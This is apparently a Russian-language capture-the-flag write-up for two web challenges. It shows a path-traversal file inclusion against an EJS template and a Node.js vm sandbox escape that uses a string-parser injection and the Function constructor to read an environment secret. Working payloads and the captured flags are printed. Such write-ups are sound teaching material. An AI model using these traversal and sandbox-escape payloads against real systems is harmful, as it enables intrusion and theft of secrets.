1. Turtle sauce (200)
Есть урл http://tasks.realctf.pro:13743/learn/lesson/functions
Пробуем поменять functions
на что-то другое, например kek
. Получаем текст:
/usr/src/web/views/lesson.ejs:6
4| <body>
5| <%- include("partials/navbar.ejs", {tab: "learn"}); %>
>> 6| <%- include("lessons/"+lessonPage) %>
7| </body>
8| </html>
Could not find the include file "lessons/kek"
Видим на 6 строчке инклуд другого шаблона => LFI
Пробуем выкачать из корня package.json
:
http://tasks.realctf.pro:13743/learn/lesson/..%2F..%2Fpackage.json
- зашло.
Выкачиваем app.js
(просто ручками название получилось):
// generated by express-generator
const createError = require('http-errors');
const express = require('express');
const path = require('path');
const cookieParser = require('cookie-parser');
const logger = require('morgan');
const indexRouter = require('./routes/index');
const runRouter = require('./routes/run');
const learnRouter = require('./routes/learn');
const practiceRouter = require('./routes/practice');
const app = express();
const FIRST_FLAG = 'HSE{Ju5T_4n0Th3R_eZ_LF1}';
const SECOND_FLAG = process.env['SECOND_FLAG'];
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
if (app.get('env') === 'development')
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use('/', indexRouter);
app.use('/run', runRouter);
app.use('/learn', learnRouter);
app.use('/practice', practiceRouter);
// catch 404 and forward to error handler
app.use((req, res, next) => {
next(createError(404));
});
// error handler
app.use((err, req, res, next) => {
// set locals
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
// render the error page
res.status(err.status || 500);
res.render('error');
});
module.exports = app;
Первый флаг есть - HSE{Ju5T_4n0Th3R_eZ_LF1}
2. Turtle run (700)
Видим инклуды других файлов, выкачиваем их - это сорцы парсера и компилятора языка
Внутри он построен на V8 vm, т.е. код из turtle компилируется в js. Из app.js
видим, что второй флаг лежит в env (process.env.['SECOND_FLAG']
)
Гуглим как эскейпнуть из vm(https://nodejs.org/api/vm.html) и выполнить свой код: https://gist.github.com/jcreedcmu/4f6e6d4a649405a9c86bb076905696af
Имеем RCE через конструктор объекта/функции: println.constructor("return process.env['SECOND_FLAG']")()
вернет флаг
Проблема в том, что парсер не понимает это.
Пишем Толе, он находит обход парсера:
[In reply to Danil Augustovich] Добавил слэш рядом с кавычкой
func main() {
string kek = "abc\";
string kek2 = "));TRTL_FUNC_println__(42)};;
//\";
}
выведет 42
Пробуем подставить наш пейлоад:
func main() {
string kek = "abc\";
string kek2 = "));TRTL_FUNC_println__(TRTL_FUNC_println__.constructor(`return process.env['SECOND_FLAG']`)())};;
//\";
}
Получаем флаг HSE{Nev3R_wR1tE_pAr5ERs_M4nUaLLy}
BTW:
Кстати да, через {} не заходит, потмому что оно в контексте вм, а println была создана вне сендбокса
this.constructor.constructor
зашло